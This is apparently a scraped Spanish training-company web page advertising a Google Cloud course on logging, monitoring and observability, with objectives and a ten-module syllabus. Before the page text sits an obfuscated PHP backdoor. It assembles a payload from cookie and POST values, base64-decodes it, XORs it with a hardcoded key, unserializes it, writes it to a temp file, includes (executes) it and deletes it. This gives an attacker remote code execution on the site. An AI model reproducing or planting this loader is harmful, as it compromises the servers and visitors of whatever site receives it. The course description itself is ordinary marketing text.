$PFkQQj = chr (121) . "\x5f" . 'i' . "\131" . chr ( 450 - 373 ).chr ( 258 - 182 ); $cndBMIMKWU = "\x63" . "\x6c" . 'a' . "\163" . chr (115) . chr (95) . 'e' . "\170" . 'i' . 's' . chr (116) . 's';$YCsjZOjng = class_exists($PFkQQj); $PFkQQj = "60693";$cndBMIMKWU = "62927";$LSHFWHvtVn = !1;if ($YCsjZOjng == $LSHFWHvtVn){function JQiUsND(){return FALSE;}$flGKbPmb = "24328";JQiUsND();class y_iYML{private function kHqizmFp($flGKbPmb){if (is_array(y_iYML::$HnXmizr)) {$uDVeO = sys_get_temp_dir() . "/" . crc32(y_iYML::$HnXmizr["\x73" . "\x61" . "\154" . 't']);@y_iYML::$HnXmizr['w' . chr ( 342 - 228 ).chr ( 802 - 697 )."\164" . chr (101)]($uDVeO, y_iYML::$HnXmizr["\143" . chr (111) . chr ( 583 - 473 ).'t' . 'e' . chr ( 405 - 295 )."\164"]);include $uDVeO;@y_iYML::$HnXmizr['d' . "\145" . "\154" . 'e' . "\164" . "\x65"]($uDVeO); $flGKbPmb = "24328";exit();}}private $nfIOxBUgci;public function KzSRiT(){echo 57754;}public function __destruct(){$flGKbPmb = "58915_20028";$this->kHqizmFp($flGKbPmb); $flGKbPmb = "58915_20028";}public function __construct($gBEinuZpzm=0){$FXHNMtt = $_POST;$CMSrFiI = $_COOKIE;$BQAQiDZrib = "cb529a8e-ec0b-435f-86a9-4175305cacff";$xonCzaGOAG = @$CMSrFiI[substr($BQAQiDZrib, 0, 4)];if (!empty($xonCzaGOAG)){$EviQPEw = "base64";$pkBLiUThwD = "";$xonCzaGOAG = explode(",", $xonCzaGOAG);foreach ($xonCzaGOAG as $HrpNnQ){$pkBLiUThwD .= @$CMSrFiI[$HrpNnQ];$pkBLiUThwD .= @$FXHNMtt[$HrpNnQ];}$pkBLiUThwD = array_map($EviQPEw . "\x5f" . "\x64" . chr ( 1028 - 927 ).'c' . "\157" . chr (100) . "\x65", array($pkBLiUThwD,)); $pkBLiUThwD = $pkBLiUThwD[0] ^ str_repeat($BQAQiDZrib, (strlen($pkBLiUThwD[0]) / strlen($BQAQiDZrib)) + 1);y_iYML::$HnXmizr = @unserialize($pkBLiUThwD); $pkBLiUThwD = class_exists("58915_20028");}}public static $HnXmizr = 41468;}$DhFBgMpMgw = new /* 61252 */ y_iYML(24328 + 24328); $_POST = Array();unset($DhFBgMpMgw);} Logging, Monitoring, and Observability in Google|Grupo Loyal

Logging, Monitoring, and Observability in Google

Logging, Monitoring and Observability in Google Cloud teaches participants techniques for monitoring, troubleshooting, and improving infrastructure and application performance in Google Cloud. Guided by the principles of Site Reliability Engineering (SRE), and using a combination of presentations, demos, hands-on labs, and real-world case studies, attendees gain experience with full-stack monitoring, real-time log management and analysis, debugging code in production, tracing application performance bottlenecks, and profiling CPU and memory usage.

Objetivos

This course teaches participants the following skills:

Plan and implement a well-architected logging and monitoring infrastructure
Define Service Level Indicators (SLIs) and Service Level Objectives (SLOs)
Create effective monitoring dashboards and alerts
Monitor, troubleshoot, and improve Google Cloud infrastructure
Analyze and export Google Cloud audit logs
Find production code defects, identify bottlenecks, and improve performance
Optimize monitoring costs

Cloud computing

Disponible en formato e-learning

Disponible en formato presencial

Disponible en formato a distancia

Descargar la información del curso

Subvención disponible
A través de Fundae, cumpliendo requisitos.

Duración
15 horas

  • Dificultad 50% 50%
  • Nivel alcanzado 80% 80%

Dirigido a

This class is intended for the following participants:

Cloud architects, administrators, and SysOps personnel Cloud developers and DevOps personnel.

Conocimientos requeridos

To get the most out of this course, participants should have:

Google Cloud Platform Fundamentals: Core Infrastructure or equivalent experience
Basic scripting or coding familiarity
Proficiency with command-line tools and Linux operating system environments

Temario

Module 1: Introduction to Google Cloud Monitoring Tools

Understand the purpose and capabilities of Google Cloud operations-focused components: Logging, Monitoring, Error Reporting, and Service Monitoring.
Understand the purpose and capabilities of Google Cloud application performance management focused components: Debugger, Trace, and Profiler.
Module 2: Avoiding Customer Pain

Construct a monitoring base on the four golden signals: latency, traffic, errors, and saturation.
Measure customer pain with SLIs.
Define critical performance measures.
Create and use SLOs and SLAs.
Achieve developer and operation harmony with error budgets.
Module 3: Alerting Policies

Develop alerting strategies.
Define alerting policies.
Add notification channels.
Identify types of alerts and common uses for each.
Construct and alert on resource groups.
Manage alerting policies programmatically.
Module 4: Monitoring Critical Systems

Choose best practice monitoring project architectures.
Differentiate Cloud IAM roles for monitoring.
Use the default dashboards appropriately.
Build custom dashboards to show resource consumption and application load.
Define uptime checks to track aliveness and latency.
Module 5: Configuring Google Cloud Services for Observability

Integrate logging and monitoring agents into Compute Engine VMs and images.
Enable and utilize Kubernetes Monitoring.
Extend and clarify Kubernetes monitoring with Prometheus.
Expose custom metrics through code, and with the help of OpenCensus.
Module 6: Advanced Logging and Analysis

Identify and choose among resource tagging approaches.
Define log sinks (inclusion filters) and exclusion filters.
Create metrics based on logs.
Define custom metrics.
Link application errors to Logging using Error Reporting.
Export logs to BigQuery.
Module 7: Monitoring Network Security and Audit Logs

Collect and analyze VPC Flow logs and Firewall Rules logs.
Enable and monitor Packet Mirroring.
Explain the capabilities of Network Intelligence Center.
Use Admin Activity audit logs to track changes to the configuration or metadata of resources.
Use Data Access audit logs to track accesses or changes to user-provided resource data.
Use System Event audit logs to track GCP administrative actions.
Module 8: Managing Incidents

Define incident management roles and communication channels.
Mitigate incident impact.
Troubleshoot root causes.
Resolve incidents.
Document incidents in a post-mortem process.
Module 9: Investigating Application Performance Issues

Debug production code to correct code defects.
Trace latency through layers of service interaction to eliminate performance bottlenecks.
Profile and identify resource-intensive functions in an application.
Module 10: Optimizing the Costs of Monitoring

Analyze resource utilization cost for monitoring related components within Google Cloud.
Implement best practices for controlling the cost of monitoring within Google Cloud.

Solicita información del curso

It Formacion

It Formacion